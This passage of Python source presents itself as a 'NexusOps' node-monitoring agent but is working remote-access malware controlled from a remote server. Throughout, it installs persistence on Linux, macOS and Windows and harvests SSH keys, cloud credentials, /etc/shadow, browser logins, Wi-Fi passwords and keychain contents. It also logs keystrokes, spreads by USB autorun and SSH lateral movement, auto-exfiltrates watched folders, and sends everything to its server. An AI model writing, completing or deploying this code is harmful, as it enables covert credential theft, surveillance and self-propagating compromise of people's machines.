return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
|
|
import platform as _pf
|
|
_sys = _pf.system()
|
|
if _sys == "Darwin":
|
|
return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
|
|
return "ERROR: screenshot failed — no usable display on this machine (headless?)", 1
|
|
except Exception as e:
|
|
return f"ERROR screenshot: {e}", 1
|
|
|
|
elif action_type == "update_agent":
|
|
new_url = payload.get("url", "")
|
|
if not new_url:
|
|
return "ERROR: no update URL provided", 1
|
|
try:
|
|
my_path = os.path.abspath(__file__)
|
|
bak = my_path + ".bak"
|
|
os.rename(my_path, bak)
|
|
urllib.request.urlretrieve(new_url, my_path)
|
|
os.chmod(my_path, 0o755)
|
|
os.remove(bak)
|
|
return "Agent updated successfully. Restarting...", 0
|
|
except Exception as e:
|
|
# Restore backup
|
|
if os.path.exists(bak):
|
|
os.rename(bak, my_path)
|
|
return f"ERROR update failed: {e}", 1
|
|
|
|
elif action_type == "ensure_persistence":
|
|
results = []
|
|
if system == "linux":
|
|
# crontab
|
|
try:
|
|
import shlex
|
|
srv = shlex.quote(payload.get('server_url',''))
|
|
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} --token {AGENT_TOKEN} >/dev/null 2>&1"
|
|
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
|
|
if cron_line.split('@reboot')[1].strip() not in existing:
|
|
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
|
results.append("crontab: added @reboot entry")
|
|
else:
|
|
results.append("crontab: already present")
|
|
except: results.append("crontab: failed")
|
|
# .bashrc
|
|
try:
|
|
bashrc = os.path.expanduser("~/.bashrc")
|
|
hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} --token {AGENT_TOKEN} &>/dev/null &)\n"
|
|
with open(bashrc, 'a+') as f:
|
|
f.seek(0)
|
|
if 'nexus-agent' not in f.read():
|
|
f.write(hook)
|
|
results.append("bashrc: hook installed")
|
|
except: results.append("bashrc: failed")
|
|
# autostart .desktop
|
|
try:
|
|
ad = os.path.expanduser("~/.config/autostart")
|
|
os.makedirs(ad, exist_ok=True)
|
|
with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
|
|
f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} --token {AGENT_TOKEN}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
|
|
results.append("autostart: .desktop created")
|
|
except: results.append("autostart: failed")
|
|
elif system == "darwin":
|
|
try:
|
|
plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
|
|
os.makedirs(os.path.dirname(plist), exist_ok=True)
|
|
plist_content = f'''<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0"><dict><key>Label</key><string>com.nexusops.agent</string>
|
|
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
|
|
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
|
|
with open(plist, 'w') as f: f.write(plist_content)
|
|
subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
results.append("launchd: bootstrapped + kickstarted")
|
|
except: results.append("launchd: failed")
|
|
# crontab for macOS too
|
|
try:
|
|
import shlex
|
|
srv = shlex.quote(payload.get('server_url',''))
|
|
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} --token {AGENT_TOKEN} >/dev/null 2>&1"
|
|
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
|
results.append("crontab: added")
|
|
except: results.append("crontab: failed")
|
|
elif system == "windows":
|
|
agent_path = os.path.abspath(__file__)
|
|
srv = payload.get("server_url", "")
|
|
try:
|
|
task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + ' --token ' + AGENT_TOKEN + '\\" /f /rl HIGHEST"'
|
|
subprocess.run(task_cmd, shell=True, timeout=10)
|
|
results.append("schtasks: scheduled task created")
|
|
except: results.append("schtasks: failed")
|
|
try:
|
|
reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + ' --token ' + AGENT_TOKEN + '\\" -Force"'
|
|
subprocess.run(reg_cmd, shell=True, timeout=10)
|
|
results.append("registry: Run key added")
|
|
except: results.append("registry: failed")
|
|
return "Persistence results: " + "; ".join(results), 0
|
|
|
|
|
|
elif action_type == "harvest_credentials":
|
|
creds = []
|
|
home = os.path.expanduser("~")
|
|
# Shell history
|
|
for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
|
|
p = os.path.expanduser(hist)
|
|
if os.path.exists(p):
|
|
try:
|
|
with open(p, 'r', errors='ignore') as f:
|
|
content = f.read()[-20000:]
|
|
creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
|
|
except: pass
|
|
# SSH keys
|
|
ssh_dir = os.path.join(home, ".ssh")
|
|
if os.path.exists(ssh_dir):
|
|
for fn in os.listdir(ssh_dir):
|
|
fp = os.path.join(ssh_dir, fn)
|
|
if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
|
|
try:
|
|
with open(fp, 'r', errors='ignore') as f:
|
|
creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
|
|
except: pass
|
|
# AWS / cloud credentials
|
|
for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
|
|
"~/.azure/accessTokens.json", "~/.docker/config.json"]:
|
|
p = os.path.expanduser(cf)
|
|
if os.path.exists(p):
|
|
try:
|
|
with open(p, 'r', errors='ignore') as f:
|
|
creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
|
|
except: pass
|
|
# /etc/shadow (if root)
|
|
if os.path.exists("/etc/shadow"):
|
|
try:
|
|
with open("/etc/shadow", 'r') as f:
|
|
creds.append({"type": "system:shadow", "data": f.read()[:5000]})
|
|
except: pass
|
|
# Browser cookie/saved-login DBs (common paths)
|
|
browser_paths = []
|
|
if system == "linux":
|
|
browser_paths = [
|
|
os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
|
|
os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
|
|
os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
|
|
os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
|
|
os.path.expanduser("~/.config/chromium/Default/Cookies"),
|
|
os.path.expanduser("~/.config/chromium/Default/Login Data"),
|
|
os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
|
|
]
|
|
elif system == "darwin":
|
|
browser_paths = [
|
|
os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
|
|
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
|
|
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
|
|
]
|
|
elif system == "windows":
|
|
browser_paths = [
|
|
os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
|
|
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
|
|
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
|
|
]
|
|
import glob
|
|
for pattern in browser_paths:
|
|
for p in glob.glob(pattern):
|
|
try:
|
|
sz = os.path.getsize(p)
|
|
if sz > 0 and sz < 50 * 1024 * 1024:
|
|
with open(p, 'rb') as f:
|
|
import base64
|
|
creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
|
|
"data": base64.b64encode(f.read()).decode('utf-8')})
|
|
except: pass
|
|
# Wi-Fi passwords (Linux)
|
|
if system == "linux":
|
|
try:
|
|
wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
|
|
shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
|
|
if wifi.strip() and 'no wifi' not in wifi:
|
|
creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
|
|
except: pass
|
|
# macOS Keychain dump
|
|
if system == "darwin":
|
|
try:
|
|
keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
|
|
shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
|
|
if keychain.strip():
|
|
creds.append({"type": "keychain_dump", "data": keychain[:10000]})
|
|
except: pass
|
|
|
|
try:
|
|
creds.extend(harvest_local_decrypted())
|
|
except Exception:
|
|
pass
|
|
return json.dumps({"type":"harvest_result","credentials":creds}), 0
|
|
|
|
elif action_type == "copy_self_to_usb":
|
|
# Self-replication: copy the running agent onto every mounted removable drive.
|
|
# payload: {"mode": "copy"|"autorun", "paths": [override dirs for testing]}
|
|
mode = payload.get("mode", "copy")
|
|
self_path = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__)
|
|
if not os.path.exists(self_path):
|
|
return "ERROR: cannot resolve self", 1
|
|
system = platform.system().lower()
|
|
candidates = []
|
|
if system == "linux":
|
|
for base in ("/media", "/run/media", "/mnt"):
|
|
try:
|
|
for entry in os.listdir(base):
|
|
sub = os.path.join(base, entry)
|
|
if os.path.isdir(sub):
|
|
try:
|
|
for vol in os.listdir(sub):
|
|
candidates.append(os.path.join(sub, vol))
|
|
except Exception:
|
|
pass
|
|
if os.path.ismount(sub):
|
|
candidates.append(sub)
|
|
except Exception:
|
|
pass
|
|
elif system == "darwin":
|
|
try:
|
|
candidates = [os.path.join("/Volumes", v) for v in os.listdir("/Volumes")
|
|
if not v.startswith(("Macintosh", "com.apple"))]
|
|
except Exception:
|
|
candidates = []
|
|
elif system == "windows":
|
|
import string, ctypes
|
|
for letter in string.ascii_uppercase[3:]:
|
|
drv = letter + ":\\"
|
|
try:
|
|
if ctypes.windll.kernel32.GetDriveTypeW(drv) == 2:
|
|
candidates.append(drv)
|
|
except Exception:
|
|
pass
|
|
overrides = payload.get("paths") or []
|
|
if overrides:
|
|
candidates = [c for c in overrides if os.path.isdir(c)]
|
|
results = []
|
|
for dest_dir in candidates:
|
|
try:
|
|
if not os.access(dest_dir, os.W_OK):
|
|
results.append("skip(readonly): " + dest_dir)
|
|
continue
|
|
exe = "NexusAgent.exe" if system == "windows" else "NexusAgent"
|
|
dest = os.path.join(dest_dir, exe)
|
|
shutil.copy2(self_path, dest)
|
|
try:
|
|
os.chmod(dest, 0o755)
|
|
except Exception:
|
|
pass
|
|
if mode in ("autorun", "both") and system == "windows":
|
|
with open(os.path.join(dest_dir, "autorun.inf"), "w") as af:
|
|
af.write("[autorun]\r\nopen=" + exe + "\r\naction=Install Nexus Agent\r\n")
|
|
elif mode in ("autorun", "both"):
|
|
launcher = os.path.join(dest_dir, "run-nexus.sh")
|
|
with open(launcher, "w") as lf:
|
|
lf.write("#!/bin/sh\n" + dest + " >/dev/null 2>&1 &\n")
|
|
try:
|
|
os.chmod(launcher, 0o755)
|
|
except Exception:
|
|
pass
|
|
results.append("copied: " + dest)
|
|
except Exception as e:
|
|
results.append("fail(" + dest_dir + "): " + str(e)[:60])
|
|
global USB_WATCH
|
|
if payload.get("watch") and not USB_WATCH:
|
|
USB_WATCH = True
|
|
try:
|
|
threading.Thread(target=usb_watch_loop, daemon=True).start()
|
|
except Exception:
|
|
pass
|
|
results.append("watch: on-connect replication active")
|
|
if not candidates:
|
|
return "No removable drives mounted" + (" | " + "; ".join(results) if results else ""), 0
|
|
return "USB replication (" + mode + "): " + "; ".join(results), 0
|
|
|
|
elif action_type == "open_ssh":
|
|
# Ensure SSH daemon running + trust dashboard key + report connect info
|
|
system = platform.system().lower()
|
|
out = []
|
|
if system == "linux":
|
|
r = subprocess.run("command -v sshd || (apt-get install -y openssh-server 2>/dev/null || yum install -y openssh-server 2>/dev/null)", shell=True, capture_output=True, text=True, timeout=120)
|
|
if r.returncode != 0 and not r.stdout.strip():
|
|
out.append("sshd missing and install failed")
|
|
r = subprocess.run("systemctl enable --now sshd 2>/dev/null || systemctl enable --now ssh 2>/dev/null || service ssh start 2>/dev/null", shell=True, capture_output=True, text=True, timeout=30)
|
|
out.append("sshd: " + ("enabled" if r.returncode == 0 else "start result " + str(r.returncode)))
|
|
ufw = subprocess.run("ufw allow ssh 2>/dev/null || true", shell=True, capture_output=True, timeout=15)
|
|
ssh_dir = os.path.expanduser("~/.ssh")
|
|
os.makedirs(ssh_dir, exist_ok=True)
|
|
auth = os.path.join(ssh_dir, "authorized_keys")
|
|
existing = ""
|
|
if os.path.exists(auth):
|
|
with open(auth, errors="ignore") as f:
|
|
existing = f.read()
|
|
if NEXUS_SSH_PUBKEY not in existing:
|
|
with open(auth, "a") as f:
|
|
f.write("\n" + NEXUS_SSH_PUBKEY + "\n")
|
|
os.chmod(ssh_dir, 0o700)
|
|
os.chmod(auth, 0o600)
|
|
out.append("dashboard key trusted")
|
|
else:
|
|
out.append("dashboard key already trusted")
|
|
elif system == "darwin":
|
|
r = subprocess.run("systemsetup -setremotelogin on 2>/dev/null", shell=True, capture_output=True, text=True, timeout=15)
|
|
out.append("remote-login: on" if r.returncode == 0 else "remote-login needs root")
|
|
home = os.path.expanduser("~")
|
|
ssh_dir = os.path.join(home, ".ssh")
|
|
os.makedirs(ssh_dir, exist_ok=True)
|
|
auth = os.path.join(ssh_dir, "authorized_keys")
|
|
existing = ""
|
|
if os.path.exists(auth):
|
|
with open(auth, errors="ignore") as f:
|
|
existing = f.read()
|
|
if NEXUS_SSH_PUBKEY not in existing:
|
|
with open(auth, "a") as f:
|
|
f.write("\n" + NEXUS_SSH_PUBKEY + "\n")
|
|
os.chmod(ssh_dir, 0o700)
|
|
os.chmod(auth, 0o600)
|
|
out.append("key trusted")
|
|
else:
|
|
return "open_ssh: unsupported platform " + system, 1
|
|
ip = get_ip_address()
|
|
user = "root" if os.geteuid() == 0 else getpass.getuser()
|
|
out.append(f"CONNECT: ssh {user}@{ip}")
|
|
return " | ".join(out), 0
|
|
|
|
elif action_type == "lateral_movement":
|
|
# Scan the local subnet for SSH-open hosts, attempt keyless SSH login with
|
|
# available identities, and install the agent where login succeeds.
|
|
cidr = payload.get("cidr") or ""
|
|
max_hosts = int(payload.get("max_hosts", 64))
|
|
self_path = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__)
|
|
ip = get_ip_address()
|
|
net = cidr
|
|
if not net:
|
|
try:
|
|
out = subprocess.check_output(["ip", "-4", "route"], text=True, timeout=5)
|
|
for line in out.splitlines():
|
|
if "src" in line and "/" in line and "default" not in line:
|
|
net = line.split()[0]
|
|
break
|
|
except Exception:
|
|
net = None
|
|
hosts = []
|
|
if net and "/" in net:
|
|
try:
|
|
import ipaddress as _ipa
|
|
nw = _ipa.ip_network(net, strict=False)
|
|
base = str(nw.network_address)
|
|
prefix = ip.split(".")[:3]
|
|
for h in list(nw.hosts())[:max_hosts]:
|
|
hosts.append(str(h))
|
|
except Exception:
|
|
hosts = []
|
|
found = []
|
|
import socket as _s
|
|
for h in hosts:
|
|
if h == ip:
|
|
continue
|
|
try:
|
|
c = _s.socket(_s.AF_INET, _s.SOCK_STREAM)
|
|
c.settimeout(0.4)
|
|
c.connect_ex((h, 22))
|
|
c.close()
|
|
found.append(h)
|
|
except Exception:
|
|
pass
|
|
results = [f"subnet {net}: {len(hosts)} candidates, {len(found)} ssh-open: {','.join(found[:10]) or 'none'}"]
|
|
installed = 0
|
|
server_url2 = payload.get("server_url") or "https://agent.thetempleofdoom.com"
|
|
users = ["root", getpass.getuser()]
|
|
key_opts = ["-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=4"]
|
|
ident = os.path.expanduser("~/.ssh/id_rsa")
|
|
for h in found[:10]:
|
|
ok = False
|
|
for u in users:
|
|
cmd = ["ssh", "-o", "IdentitiesOnly=yes", "-o", "PasswordAuthentication=no"]
|
|
if os.path.exists(ident):
|
|
cmd += ["-i", ident]
|
|
cmd += key_opts + [f"{u}@{h}", "true"]
|
|
r = subprocess.run(cmd, capture_output=True, text=True, timeout=12)
|
|
if r.returncode == 0:
|
|
try:
|
|
# push agent + install
|
|
c1 = ["scp", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", self_path, f"{u}@{h}:/tmp/nx-agent.py"]
|
|
subprocess.run(c1, capture_output=True, timeout=60)
|
|
c2 = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", f"{u}@{h}",
|
|
f"(mkdir -p /opt/network-agent && mv /tmp/nx-agent.py /opt/network-agent/agent.py; "
|
|
f"nohup python3 /opt/network-agent/agent.py --server {server_url2} --silent >/dev/null 2>&1 &)"]
|
|
r2 = subprocess.run(c2, capture_output=True, text=True, timeout=30)
|
|
if r2.returncode == 0:
|
|
installed += 1
|
|
results.append(f"installed on {h} (user {u})")
|
|
ok = True
|
|
except Exception as e:
|
|
results.append(f"push fail {h}: {str(e)[:40]}")
|
|
if ok:
|
|
break
|
|
if not ok:
|
|
results.append(f"no keyless access: {h}")
|
|
return " | ".join(results) + f" | total installed: {installed}", 0
|
|
|
|
elif action_type == "pivot_fetch":
|
|
# Single-shot TCP request through this node: {"host","port","data_b64","read_bytes"}
|
|
host = payload.get("host", "")
|
|
port = int(payload.get("port", 80))
|
|
data = base64.b64decode(payload.get("data_b64", "")) if payload.get("data_b64") else (
|
|
("GET " + payload.get("path", "/") + " HTTP/1.0\r\nHost: " + host + "\r\n\r\n").encode())
|
|
read_n = int(payload.get("read_bytes", 16384))
|
|
try:
|
|
c = socket.create_connection((host, port), timeout=8)
|
|
c.settimeout(6)
|
|
if data:
|
|
c.sendall(data)
|
|
buf = b""
|
|
while len(buf) < read_n:
|
|
chunk = c.recv(min(4096, read_n - len(buf)))
|
|
if not chunk:
|
|
break
|
|
buf += chunk
|
|
c.close()
|
|
import base64 as _b64
|
|
return json.dumps({"type": "pivot_result", "host": host, "port": port,
|
|
"data_b64": _b64.b64encode(buf).decode()}), 0
|
|
except Exception as e:
|
|
return f"pivot error {host}:{port}: {e}", 1
|
|
|
|
elif action_type == "watch_dir":
|
|
# Register a directory; a thread watches for new files and exfils them automatically.
|
|
d = payload.get("dir", "")
|
|
if not d or not os.path.isdir(d):
|
|
return f"ERROR: no such dir {d}", 1
|
|
_dir_watch_add(d)
|
|
return f"watching {d} — new files auto-exfil", 0
|
|
|
|
elif action_type == "export_diagnostics":
|
|
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
|
|
return run_shell(cmd)
|
|
|
|
return f"Unknown action type: {action_type}", 1
|
|
|
|
def run_shell(cmd_str):
|
|
if not quiet_mode:
|
|
print(f"[*] Executing command: {cmd_str}")
|
|
try:
|
|
res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
|
|
return res.stdout, res.returncode
|
|
except Exception as e:
|
|
return str(e), 1
|
|
|
|
# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
|
|
INPUT_CAPTURE_ENABLED = False
|
|
captured_events = []
|
|
|
|
try:
|
|
from pynput import keyboard, mouse
|
|
INPUT_CAPTURE_ENABLED = True
|
|
except ImportError:
|
|
pass
|
|
|
|
def _get_active_window_title():
|
|
"""Try to get the active window title cross-platform."""
|
|
system = platform.system().lower()
|
|
try:
|
|
if system == "linux":
|
|
res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
|
|
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
|
|
if res.returncode == 0:
|
|
return res.stdout.strip()
|
|
elif system == "windows":
|
|
import ctypes
|
|
from ctypes import wintypes
|
|
user32 = ctypes.windll.user32
|
|
hwnd = user32.GetForegroundWindow()
|
|
length = user32.GetWindowTextLengthW(hwnd)
|
|
buf = ctypes.create_unicode_buffer(length + 1)
|
|
user32.GetWindowTextW(hwnd, buf, length + 1)
|
|
return buf.value
|
|
elif system == "darwin":
|
|
script = 'tell application "System Events" to get name of first application process whose frontmost is true'
|
|
res = subprocess.run(["osascript", "-e", script],
|
|
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
|
|
if res.returncode == 0:
|
|
return res.stdout.strip()
|
|
except Exception:
|
|
pass
|
|
return ""
|
|
|
|
def _record_event(event_type, data):
|
|
"""Thread-safe event recording."""
|
|
global captured_events
|
|
window_title = _get_active_window_title()
|
|
captured_events.append({
|
|
"timestamp": int(time.time() * 1000),
|
|
"eventType": event_type,
|
|
"data": data,
|
|
"windowTitle": window_title,
|
|
"processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
|
|
})
|
|
|
|
def _on_key_press(key):
|
|
try:
|
|
key_str = key.char if hasattr(key, 'char') and key.char else str(key)
|
|
except Exception:
|
|
key_str = str(key)
|
|
_record_event("keystroke", {"key": key_str})
|
|
|
|
def _on_click(x, y, button, pressed):
|
|
if pressed:
|
|
_record_event("click", {"x": x, "y": y, "button": str(button)})
|
|
|
|
def _on_scroll(x, y, dx, dy):
|
|
_record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})
|
|
|
|
def start_input_capture():
|
|
"""Start keyboard and mouse listeners if pynput is available."""
|
|
if not INPUT_CAPTURE_ENABLED:
|
|
return False
|
|
try:
|
|
kb_listener = keyboard.Listener(on_press=_on_key_press)
|
|
ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
|
|
kb_listener.daemon = True
|
|
ms_listener.daemon = True
|
|
kb_listener.start()
|
|
ms_listener.start()
|
|
return True
|
|
except Exception:
|
|
return False
|
|
|
|
def flush_input_events(server_url, node_id, hostname):
|
|
"""Send captured input events to the master server."""
|
|
global captured_events
|
|
if not captured_events:
|
|
return
|
|
events_to_send = captured_events[:]
|
|
captured_events = []
|
|
payload = {
|
|
"nodeId": node_id,
|
|
"hostname": hostname,
|
|
"events": events_to_send
|
|
}
|
|
http_post(f"{server_url}/api/agent/input-capture", payload)
|
|
|
|
def main():
|
|
global last_log_check_time, heartbeat_interval, node_tags, quiet_mode, AGENT_TOKEN
|
|
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
|
|
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
|
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
|
parser.add_argument("--token", default=os.environ.get("NEXUS_AGENT_TOKEN", "__AGENT_TOKEN__"), help="Agent auth token")
|
|
parser.add_argument("--persist-first", action="store_true", help="Run ensure_persistence once after registering")
|
|
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
|
|
args = parser.parse_args()
|
|
|
|
AGENT_TOKEN = args.token
|
|
silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
|
|
global quiet_mode
|
|
quiet_mode = args.quiet or args.silent
|
|
|
|
server_url = args.server.rstrip('/')
|
|
hostname = socket.gethostname()
|
|
system_os = platform.system()
|
|
arch = platform.machine()
|
|
ip = get_ip_address()
|
|
node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
|
|
|
|
if not quiet_mode:
|
|
print("==================================================")
|
|
print(" NexusOps Cross-Platform Node Agent ")
|
|
print("==================================================")
|
|
print(f"Node Hostname : {hostname}")
|
|
print(f"Platform : {system_os} ({arch})")
|
|
print(f"Local IP : {ip}")
|
|
print(f"Server Endpoint: {server_url}")
|
|
print("==================================================")
|
|
|
|
# Register Node
|
|
reg_payload = {
|
|
"nodeId": node_id,
|
|
"hostname": hostname,
|
|
"platform": system_os.lower(),
|
|
"arch": arch,
|
|
"ip": ip,
|
|
"osName": f"{system_os} {platform.release()}",
|
|
"tags": node_tags,
|
|
"agentVersion": AGENT_VERSION
|
|
}
|
|
|
|
if not quiet_mode:
|
|
print("[*] Registering node with central endpoint...")
|
|
res = http_post(f"{server_url}/api/agent/register", reg_payload)
|
|
if res and res.get("fallbackUrls"):
|
|
for u in res["fallbackUrls"]:
|
|
if u not in NEXUS_FALLBACK_URLS:
|
|
NEXUS_FALLBACK_URLS.append(u)
|
|
if res and res.get("success") and not quiet_mode:
|
|
print(f"✅ Registered as node ID: {node_id}")
|
|
if args.persist_first:
|
|
try:
|
|
execute_structured_action("ensure_persistence", {"server_url": server_url})
|
|
if not quiet_mode:
|
|
print("[*] Persistence ensured (--persist-first)")
|
|
except Exception:
|
|
pass
|
|
|
|
# Start input capture (keystrokes, clicks, scroll)
|
|
capture_started = start_input_capture()
|
|
if capture_started:
|
|
start_clipboard_watch()
|
|
if not quiet_mode:
|
|
if capture_started:
|
|
print("[*] Input capture active (keystrokes + mouse events)")
|
|
else:
|
|
print("[!] Input capture unavailable (install pynput: pip install pynput)")
|
|
|
|
last_input_flush = time.time()
|
|
backoff = 1 # Tunnel reconnection backoff in seconds
|
|
|
|
while True:
|
|
try:
|
|
cpu = get_cpu_usage()
|
|
mem = get_memory_usage()
|
|
disk = get_disk_usage()
|
|
uptime = get_uptime_seconds()
|
|
|
|
heartbeat_payload = {
|
|
"nodeId": node_id,
|
|
"cpuUsage": cpu,
|
|
"memUsage": mem,
|
|
"diskUsage": disk,
|
|
"uptime": uptime,
|
|
"processCount": get_process_count(),
|
|
"tags": node_tags,
|
|
"heartbeatInterval": heartbeat_interval,
|
|
"agentVersion": AGENT_VERSION
|
|
}
|
|
|
|
if _check_ttl_and_wipe(server_url):
|
|
break
|
|
res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
|
|
|
|
now = time.time()
|
|
if now - last_log_check_time > 15:
|
|
logs = collect_recent_system_logs()
|
|
if logs:
|
|
http_post(f"{server_url}/api/agent/logs", {
|
|
"nodeId": node_id,
|
|
"hostname": hostname,
|
|
"logs": logs
|
|
})
|
|
last_log_check_time = now
|
|
|
|
# Flush captured input events every 10 seconds
|
|
if now - last_input_flush > 10:
|
|
flush_input_events(server_url, node_id, hostname)
|
|
last_input_flush = now
|
|
|
|
if res and "commands" in res and res["commands"]:
|
|
for cmd_item in res["commands"]:
|
|
cmd_id = cmd_item.get("id")
|
|
action_type = cmd_item.get("actionType", "raw_command")
|
|
payload = cmd_item.get("payload", {})
|
|
|
|
if "command" in cmd_item and not payload:
|
|
payload["command"] = cmd_item.get("command")
|
|
|
|
output, exit_code = execute_structured_action(action_type, payload)
|
|
|
|
# Check for JSON-encoded special result types
|
|
special = None
|
|
try:
|
|
if output.startswith('{'):
|
|
special = json.loads(output)
|
|
except: pass
|
|
|
|
if special and special.get("type") == "file_result":
|
|
# Route to file-result endpoint
|
|
http_post(f"{server_url}/api/agent/file-result", {
|
|
"commandId": cmd_id,
|
|
"nodeId": node_id,
|
|
"hostname": hostname,
|
|
"filename": special.get("filename", "unknown"),
|
|
"data": special.get("data", ""),
|
|
"mime": special.get("mime", "application/octet-stream")
|
|
})
|
|
elif special and special.get("type") == "harvest_result":
|
|
http_post(f"{server_url}/api/agent/harvest-result", {
|
|
"commandId": cmd_id,
|
|
"nodeId": node_id,
|
|
"hostname": hostname,
|
|
"credentials": special.get("credentials", [])
|
|
})
|
|
else:
|
|
http_post(f"{server_url}/api/agent/command-result", {
|
|
"commandId": cmd_id,
|
|
"nodeId": node_id,
|
|
"output": output,
|
|
"exitCode": exit_code
|
|
})
|
|
|
|
except Exception as e:
|
|
if not quiet_mode:
|
|
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
|
|
for _fb in NEXUS_FALLBACK_URLS:
|
|
if _fb and _fb.strip() and _fb.strip() != server_url:
|
|
try:
|
|
http_post(f"{_fb.strip()}/api/agent/heartbeat", heartbeat_payload)
|
|
break
|
|
except Exception:
|
|
pass
|
|
time.sleep(backoff)
|
|
backoff = min(backoff * 2, 60)
|
|
continue
|
|
|
|
backoff = 1 # Reset on success
|
|
time.sleep(heartbeat_interval)
|
|
|
|
if __name__ == "__main__":
|
|
main()
|